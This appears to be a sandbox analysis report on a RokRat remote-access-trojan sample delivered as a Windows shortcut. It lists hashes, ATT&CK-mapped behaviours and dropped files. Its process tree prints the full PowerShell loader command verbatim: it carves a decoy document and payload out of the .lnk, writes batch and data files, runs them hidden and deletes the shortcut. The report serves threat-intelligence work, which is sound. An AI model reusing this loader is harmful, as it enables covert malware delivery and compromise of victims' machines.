rokrat | bb83597cdf057db754def79d3f94b6cf8837b358178e10e4cc792da56a7523b3

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14/11/2024, 09:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bb83597cdf057db754def79d3f94b6cf8837b358178e10e4cc792da56a7523b3.lnk
Size

51.4MB
MD5

5b44285747891464c496aa477e450f10
SHA1

73417ded382af2e0f3fca04d8d07679af134038b
SHA256

bb83597cdf057db754def79d3f94b6cf8837b358178e10e4cc792da56a7523b3
SHA512

6855cc7f80972bd9ec0b138220636aca9b4e24e5a2d5663cf5147ee154b0d28a08facbbb44dcb336eefce7fccc6296d0644ed3a2e1b81f2cc0de8a616fccafe6
SSDEEP

12288:TbjNtn78DnM5CnYFE/oS2P5NdhuKp5AyE9KpNwZ66T9Nzk:TNto2i/J2P5ThuM5XE9aNwZs

Score

10^/10

rokrat defense_evasion discovery execution rat

Malware Config

Signatures

Detect Rokrat payload 1 IoCs

resource	yara_rule
behavioral2/memory/2104-111-0x0000000032590000-0x0000000032673000-memory.dmp	family_rokrat

Rokrat
Rokrat is a remote access trojan written in c++.
rat rokrat
Rokrat family
rokrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
35	2104	powershell.exe
45	2104	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3704	powershell.exe
2104	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	cmd.exe

Deletes itself 1 IoCs

pid	Process
3704	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\23889.dat	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3704	powershell.exe
3704	powershell.exe
2104	powershell.exe
2104	powershell.exe
2104	powershell.exe
2104	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3704	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2884	OpenWith.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3204 wrote to memory of 1840	3204	cmd.exe	87
PID 3204 wrote to memory of 1840	3204	cmd.exe	87
PID 3204 wrote to memory of 1840	3204	cmd.exe	87
PID 1840 wrote to memory of 3604	1840	cmd.exe	88
PID 1840 wrote to memory of 3604	1840	cmd.exe	88
PID 1840 wrote to memory of 3604	1840	cmd.exe	88
PID 1840 wrote to memory of 3704	1840	cmd.exe	89
PID 1840 wrote to memory of 3704	1840	cmd.exe	89
PID 1840 wrote to memory of 3704	1840	cmd.exe	89
PID 3704 wrote to memory of 3900	3704	powershell.exe	95
PID 3704 wrote to memory of 3900	3704	powershell.exe	95
PID 3704 wrote to memory of 3900	3704	powershell.exe	95
PID 3900 wrote to memory of 2104	3900	cmd.exe	96
PID 3900 wrote to memory of 2104	3900	cmd.exe	96
PID 3900 wrote to memory of 2104	3900	cmd.exe	96
PID 2104 wrote to memory of 4876	2104	powershell.exe	105
PID 2104 wrote to memory of 4876	2104	powershell.exe	105
PID 2104 wrote to memory of 4876	2104	powershell.exe	105
PID 4876 wrote to memory of 772	4876	csc.exe	106
PID 4876 wrote to memory of 772	4876	csc.exe	106
PID 4876 wrote to memory of 772	4876	csc.exe	106
PID 2104 wrote to memory of 3616	2104	powershell.exe	107
PID 2104 wrote to memory of 3616	2104	powershell.exe	107
PID 2104 wrote to memory of 3616	2104	powershell.exe	107
PID 3616 wrote to memory of 4592	3616	csc.exe	108
PID 3616 wrote to memory of 4592	3616	csc.exe	108
PID 3616 wrote to memory of 4592	3616	csc.exe	108
PID 2104 wrote to memory of 3940	2104	powershell.exe	109
PID 2104 wrote to memory of 3940	2104	powershell.exe	109
PID 2104 wrote to memory of 3940	2104	powershell.exe	109
PID 3940 wrote to memory of 1272	3940	csc.exe	110
PID 3940 wrote to memory of 1272	3940	csc.exe	110
PID 3940 wrote to memory of 1272	3940	csc.exe	110
PID 2104 wrote to memory of 2424	2104	powershell.exe	111
PID 2104 wrote to memory of 2424	2104	powershell.exe	111
PID 2104 wrote to memory of 2424	2104	powershell.exe	111
PID 2424 wrote to memory of 5052	2424	csc.exe	112
PID 2424 wrote to memory of 5052	2424	csc.exe	112
PID 2424 wrote to memory of 5052	2424	csc.exe	112

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\bb83597cdf057db754def79d3f94b6cf8837b358178e10e4cc792da56a7523b3.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3204
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\SysWOW64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'};$exs=@('.lnk');$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.* -File | where {$_.extension -in $exs} | where-object {$_.length -eq 0x03373260} | Select-Object -ExpandProperty FullName ;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x0000110C, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000A328;$lnkFile.Read($pdfFile, 0, 0x0000A328);$pdfPath = $lnkPath.replace('.lnk','.hwpx');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000B434,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9190;$lnkFile.Read($exeFile, 0, 0x000D9190);$exePath=$env:temp+'\acer.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x000E45C4,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x00000633;$lnkFile.Read($stringByte, 0, 0x00000633); $batStrPath = $env:temp+'\'+'dell.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x000E4BF7,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000143;$lnkFile.Read($batByte, 0, 0x00000143);$executePath = $env:temp+'\'+'asu'+'s.b'+'a'+'t'; Write-Host $executePath; Write-Host $batStrPath; $bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii; &$executePath; $lnkFile.Close(); remove-item -path $lnkPath -force; "&& exit
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3604
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'};$exs=@('.lnk');$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.* -File | where {$_.extension -in $exs} | where-object {$_.length -eq 0x03373260} | Select-Object -ExpandProperty FullName ;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x0000110C, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000A328;$lnkFile.Read($pdfFile, 0, 0x0000A328);$pdfPath = $lnkPath.replace('.lnk','.hwpx');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000B434,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9190;$lnkFile.Read($exeFile, 0, 0x000D9190);$exePath=$env:temp+'\acer.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x000E45C4,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x00000633;$lnkFile.Read($stringByte, 0, 0x00000633); $batStrPath = $env:temp+'\'+'dell.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x000E4BF7,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000143;$lnkFile.Read($batByte, 0, 0x00000143);$executePath = $env:temp+'\'+'asu'+'s.b'+'a'+'t'; Write-Host $executePath; Write-Host $batStrPath; $bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii; &$executePath; $lnkFile.Close(); remove-item -path $lnkPath -force; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3704
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\asus.bat""
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3900
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "$stringPath=$env:temp+'\'+'dell.dat';$stringByte = Get-Content -path $stringPath -encoding byte;$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$scriptBlock = [scriptblock]::Create($string);Invoke-Command $scriptBlock;"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Checks BIOS information in registry
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2104
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\equw2nc2\equw2nc2.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4876
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFC71.tmp" "c:\Users\Admin\AppData\Local\Temp\equw2nc2\CSC9BE9CCD8D185459EB6805CE8BBD6B64C.TMP"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:772
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a45pkefb\a45pkefb.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3616
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE17.tmp" "c:\Users\Admin\AppData\Local\Temp\a45pkefb\CSC99912B17549A4AB38054353F5430DFE6.TMP"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4592
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\31gqjmof\31gqjmof.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3940
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF4F.tmp" "c:\Users\Admin\AppData\Local\Temp\31gqjmof\CSC306F14BEE0C249A5A566516D1EF32FE7.TMP"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1272
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ixdiczr1\ixdiczr1.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2424
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES78.tmp" "c:\Users\Admin\AppData\Local\Temp\ixdiczr1\CSC4C645DA3A06E4E488EA155A5883CF8DC.TMP"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5052

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6832ae680e8ddacc9752c84ff4ee94d5

SHA1
eba38e3a46f6a27ec29c567c6766ba57fe7954ba

SHA256
19c4f3bc855b449022b1baf50569236e2d844e3f323453291495de125f76e632

SHA512
9cea7dcd3b0bf6bb6c1fd15aea43312cb52926e2e61455fcb26a6dd82323e352b9960f4afe412891be2aba54230ef354772e5397df8c6100e5aab875247fa1ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
cd5d3ff010dda42d9de8d543352a2e4e

SHA1
212ec824c183b8ab64f2c69faa6b21a6a887b770

SHA256
1eca1e592ebbf7fd294e59c5f74a692466ada33041e1643167db9bfc2c588de5

SHA512
7b47cf9fed9142c4cef1fce3d80f98f7bedb5f5bcbcf8f60b3cbcfbedf061e278b9e1c610e3647092cedcfd4c06cd43d483b0b5ed7e807da3bff493e74af38c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\31gqjmof\31gqjmof.dll

Filesize
3KB

MD5
2ca20d3f87d7f92a66dbe5f1b58c33c2

SHA1
504df292891982bac50238a05eaab1de1533a529

SHA256
e0e1c2be822111a41818c99550ad6dd6bffd5eaea212bc22473345b3f3bf11eb

SHA512
6c11ba9952457875d02019a7d1dcf40c867ab7ad8a187946663063799781b2bf2966b489c2f7d569b605b1b917743c2bfce3c521090dd9f5e44a9e9a8c7d7021

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES78.tmp

Filesize
1KB

MD5
32b9b4650de6d2f5b45e14271eb2915f

SHA1
893bec11ca4771d35689708ede30979803ee5d0a

SHA256
d8729036be35c4dcf44c161a09cde7fa28be1a7eb2e1e024858ee03fa6b0bcd8

SHA512
d7cc136935a2a18b630c36248b424906435aeecd2c36977606ed5c2f5adf3cfbaa180e1681c9f1aab7500945a7c5b4d2c99ad35e9471a7b910d20cb3dfac1c45

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESFC71.tmp

Filesize
1KB

MD5
7d88f7b69c98970fbb699615bbcfafbc

SHA1
92574bd82fceeaf2ffcd030cc1cc3030b213fd90

SHA256
ba0075ef7fe6316e7b052f818b99d000173b2b2ca11057db6954099f5f381536

SHA512
8ab78b252dc8c95d7f0eb154f3c0045dcbd2a2e27e25fbebb8934b92e49b9486db93b7d823dd903b2a1577b8281c93f7851bc35d0b23081d423ffdff781d562b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESFE17.tmp

Filesize
1KB

MD5
5d023932ecca6990cec3bfc127afea9a

SHA1
a0237a3f2ae21a5064a08cbb07c680c5323cddea

SHA256
3c1a5358cc5fc10f132bf68288d0c80b64eaab8634038d4b58c27158eab5e9e2

SHA512
2439501e32be8a3b33e77cb58378aca8313c84d8c9389439071ce9edc862eb2dea91cced78e132c8f9e984b0c9a33f9468b02491575b6f45a0cda1edf4e43c37

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESFF4F.tmp

Filesize
1KB

MD5
f31ceabff90c7ff289ef951fa248fe82

SHA1
656c631ebc96294b764115a6fb8977ce3f8a8c3d

SHA256
0011a237564802f6655a039b514d938812e25f694465dd7224043c1ca3ea2094

SHA512
73ce2a74672f37ccab2688f90f0069bd40808c27178af30515de2a73897ede6bef8711f307ec5cc80ef15a804e59b05150f9ae786d556bc5f9254f4fc0eee8b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3ag0efc.dlj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a45pkefb\a45pkefb.dll

Filesize
3KB

MD5
a7a2f9b9492041e8f2fb236ef5ad394e

SHA1
ccf1234fe5763441af59c57be6f9af0a41f5261e

SHA256
8f0dd145d34f2ff54b9b303d24a7ea79722d9997d1c1926aa1fc80aa15edbaa5

SHA512
89b6f983e9247736504fc0bf7bfcf76232cc76c52d1e2b33ce95d1e94712fb44c14edbb2475ed4f8501cb61e096b1989378460f653892bc94fb1b6611ad38d6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\acer.dat

Filesize
868KB

MD5
aa2762179e8c4c243a78884cfbd72c16

SHA1
7f27ca2c47c6489019b459a9e4e0b38c34f67dd3

SHA256
f180ca6d48e5227208cfd33ff9291ac01ce4afaf62ffac6a9a00a3ef266a5a8c

SHA512
369391f0a55f428c1e8543dd7770e40650b36776c485b6ce60815871282f30467b027c2f857efc74a895dc54ee036e5e79ee70ce51dfd8509704aa6fac7c765f

Download Submit
C:\Users\Admin\AppData\Local\Temp\asus.bat

Filesize
325B

MD5
057f60381cbe0563b46345d4d3ec5c3c

SHA1
e9b4c247c9571a65536014999fe66b5b2a6bfb88

SHA256
45d82bca661e23a40daff85325e97da5729b79f24d628b4e44563b297b201c29

SHA512
549afb8f17e97dd2614e63f4941f0db3df7e8a67699569ab28c20f9cd2d58fe799691d13b8b8dda35097361e0b65a6268b397e503d574b058b1f4405c9450900

Download Submit
C:\Users\Admin\AppData\Local\Temp\dell.dat

Filesize
1KB

MD5
ed691e1e20160346094c08d2cebf0f32

SHA1
198ee2c64c7584acb2403c0ce4c152b3e57c4453

SHA256
13cc69320ed1e1422d13c3799998050806c72fb5406d85903b8d8860f9734c60

SHA512
eb34cfbb6daaaf292a09918a361ceb8f7bf8b2a7e89b6a2ee36a8f560987444eb272c27ae7b874276a49056494981758317caff661c0394e83e32d6a0cc5151d

Download Submit
C:\Users\Admin\AppData\Local\Temp\equw2nc2\equw2nc2.dll

Filesize
3KB

MD5
4bb671aad9f258d37b4e98d5ffd8c657

SHA1
8530152d6813ce28c12b83fcf8097f9bab7ca7a7

SHA256
cb664a30da9b0872d34a3b063a0fbe95dd7d8e8ed32e77f77a3a5cc33cb0f323

SHA512
5364bf618dd0e8da550e3079fced6532729ef22d8876f36498a455b1f2404ff72cb5398fa05a7e3737e10919f00882bbe99bbad8f99d776a015a6bc83fa99160

Download Submit
C:\Users\Admin\AppData\Local\Temp\ixdiczr1\ixdiczr1.dll

Filesize
3KB

MD5
89f3c307a0d191b61074a60e7aec5b53

SHA1
038a7bc750b1469bc966183145049a2d28626992

SHA256
412ac96f7b893e20db630bfd5065ba5b0baab2e217197f2b855a7eac7099aaba

SHA512
b755753f16649b095805a5a38014cc28f9838b385266920aa83f6c9ad7335d8d22502e392fc3f047da9f5f85673237c28bb876254269b9684f6311472152ed9f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\31gqjmof\31gqjmof.0.cs

Filesize
286B

MD5
b23df8158ffd79f95b9bddd18738270b

SHA1
79e81bb74bc53671aeabecae224f0f9fe0e3ed7f

SHA256
856bded4416dd1595613354334ad1d3e5c4922a86102786429bcdb0e7f798882

SHA512
e23822d5b9a32d7fc705b772ef43bcb336e201ec9c1d2507a530e8b1b383b0727c0b53b92e881a953527e7b2ffb485e24c1161834c9380d1bb7498eac7e4a67f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\31gqjmof\31gqjmof.cmdline

Filesize
369B

MD5
dee5da150d90c2429c9d0f8d8b3427bc

SHA1
2ec47e1cc01b7bcd4f56dc327bf10fda9c54d361

SHA256
62b25a79a77deca47274a21faa26c6a14bb474956bc6f7b4837a632d90b76f99

SHA512
74fbf4a1dfdf80d5509f896fb5152c4fec6ca865f17c63f36299bb0547fd7de38d17f62cd5d8d932f3b27162d5e4a6ba8a6539659b2e647fc5666e11d22e4c79

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\31gqjmof\CSC306F14BEE0C249A5A566516D1EF32FE7.TMP

Filesize
652B

MD5
a5d622013de72d9ff9027c08713c8d8a

SHA1
ab125531a19996f1d4f2e6620c0f3032bbeee3ca

SHA256
225b11ab476248fdb8555c25215f507fe9611af5ff8e7c5048e37aad8e7d99d3

SHA512
d82d6deee4f8aa609cd457fa63644e57865be9ba36dea9faea138dfa30d3f135e9ac8c043c4d7dcb40156d7d551d0260b13d3ae626e801841e9622eb1d53f925

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\a45pkefb\CSC99912B17549A4AB38054353F5430DFE6.TMP

Filesize
652B

MD5
cdbd994e22fa8a74ca4d8ac74883b2ca

SHA1
64f342420b160d92923a65e52a3b7dd07f312cb2

SHA256
3d5afc9e2dc2c805f73cf2c49e1fad5bfdd3d10e500a7705e1e60f9654f43f00

SHA512
66714846b23fa34aa69237bbe88a9f0718893de1d37fba199a4a4630e37eb7ded8dae5cfa3dda4ccbf93c26bbc2f66c8e015d6d56e70a1e98897b1935f3d96bc

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\a45pkefb\a45pkefb.0.cs

Filesize
272B

MD5
4de985ae7f625fc7a2ff3ace5a46e3c6

SHA1
935986466ba0b620860f36bf08f08721827771cb

SHA256
53d5aecb149a00bc9c4fac5feb8e5feddf5c83986c12d5fef1c3ddd104b09004

SHA512
067916a8d16d322d72901baf3a369be43c99780961ccd306c171bf7ded06e3a13cf69c7fa0cd26c7fa181d87fc0e870f86d274098854a56346ca9272c0b99393

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\a45pkefb\a45pkefb.cmdline

Filesize
369B

MD5
aaf6af07fb15fcb3baac291e0da75cc3

SHA1
76ddb22880172bbf92bc7ac4849b7ff8c3c0d54a

SHA256
31ad40e1c7c9569e79a42c0929e8883b6188f41f0029caeb8067cdebf88ed8c7

SHA512
10965d13f51fafaf6686f373ea33b2f434b33a3fcd3bafb61846f1f9c07e639930002dd2e52820de7d309c3d5ff0bd8ab5d0c39306c9c9792096015cc64322bb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\equw2nc2\CSC9BE9CCD8D185459EB6805CE8BBD6B64C.TMP

Filesize
652B

MD5
f4e12732423776de028b03bfa2dcb412

SHA1
c5914ee38435e770504e622c4933fd70ee7dd88f

SHA256
829ed3ff3fd42c7b44c96111872580922dac7d14cf7321f9ae090e57f8b77e4d

SHA512
dcdb76ffbdebdbc4cc8f32ca739a4fa9df792fc0feac167479737b554fb73389754a58b9866c7e510b1fd092ee2e0b5bafb78a76a9a62bcf83c2427358daeea3

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\equw2nc2\equw2nc2.0.cs

Filesize
249B

MD5
69ecfeb3e9a8fb7890d114ec056ffd6d

SHA1
cba5334d2ffe24c60ef793a3f6a7f08067a913db

SHA256
0a913fd594ad2da3159400fc3d7d2cc50b34f8f31675ec5ac5a41d7e79e9fd58

SHA512
be7eb5a6a8bcc7f279aee00ad650aa872fc7fc08227eedeb9cc0a4273f0382b91306f60878728eaba3c79fa8c96066b144ecea897360a11be38996f04fdd99e1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\equw2nc2\equw2nc2.cmdline

Filesize
369B

MD5
9bedea733290bf8acbb1d65644193f4c

SHA1
e32f7c2f6f2e641f287565eb164f516a65634c6d

SHA256
23efedd72443b78d3e02be2ea40245ad964f8c5b697f4a3e1b40bc2c5d62fe50

SHA512
1bb168c3a0e1ba90232658872c9f1b8040b8ebcd7055b781f1f95799fd104a1f6e74ca83a1bf12eb255a9f89a7a93dbb25d66c7c88fb12d1f497358d47f05782

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ixdiczr1\CSC4C645DA3A06E4E488EA155A5883CF8DC.TMP

Filesize
652B

MD5
6d3611baa70d9e16f9ab27d33e86752c

SHA1
f1128004e61f3c8e56a6f32e396bad6e138c6d7a

SHA256
25577ab85b99dd33cbdefcca7c463bc46dede3b5c3b542483e3165ebf9c64637

SHA512
ea372644bce79ed98d000ac85f8c00887d03185f27496e14d701d38217925d2fb3a1a0a4a043ce45e9724b9622a036c8ddff70cabd834a656cf9293356d64692

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ixdiczr1\ixdiczr1.0.cs

Filesize
259B

MD5
560e1b883a997afcfa3b73d8a5cddbc1

SHA1
2905f3f296ac3c7d6a020fb61f0819dbea2f1569

SHA256
e5231270257f1727ca127b669a7c21d46ced81cd5b46e89c48dd8304c1185bea

SHA512
041dd231b93708d4ad65580ea0fa7cff34a9a43ff8d3ae45b631a381e01dc286607aec05b1aade537818d068ca0b576cac613fde626d60eb2e4e6c3c0f525635

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ixdiczr1\ixdiczr1.cmdline

Filesize
369B

MD5
de53a6ccc443650dbdf3a3c4b4adbf69

SHA1
3d412f39ec55ce73c13fe14e65e8fbd76991ec25

SHA256
35234f218c547af43d47b9d2726847d343b34af73fd9ec7620c0437b61c8ac51

SHA512
f59ef0e01e8efa47e841ae9dd77849190e561fdc4be676cd2c0c67218c1362587118989188884f87c71a2ef305a019288c0c5747814e0268d6f4ef2705ace8bf

Download Submit
memory/2104-43-0x0000000005C90000-0x0000000005FE4000-memory.dmp

Filesize
3.3MB

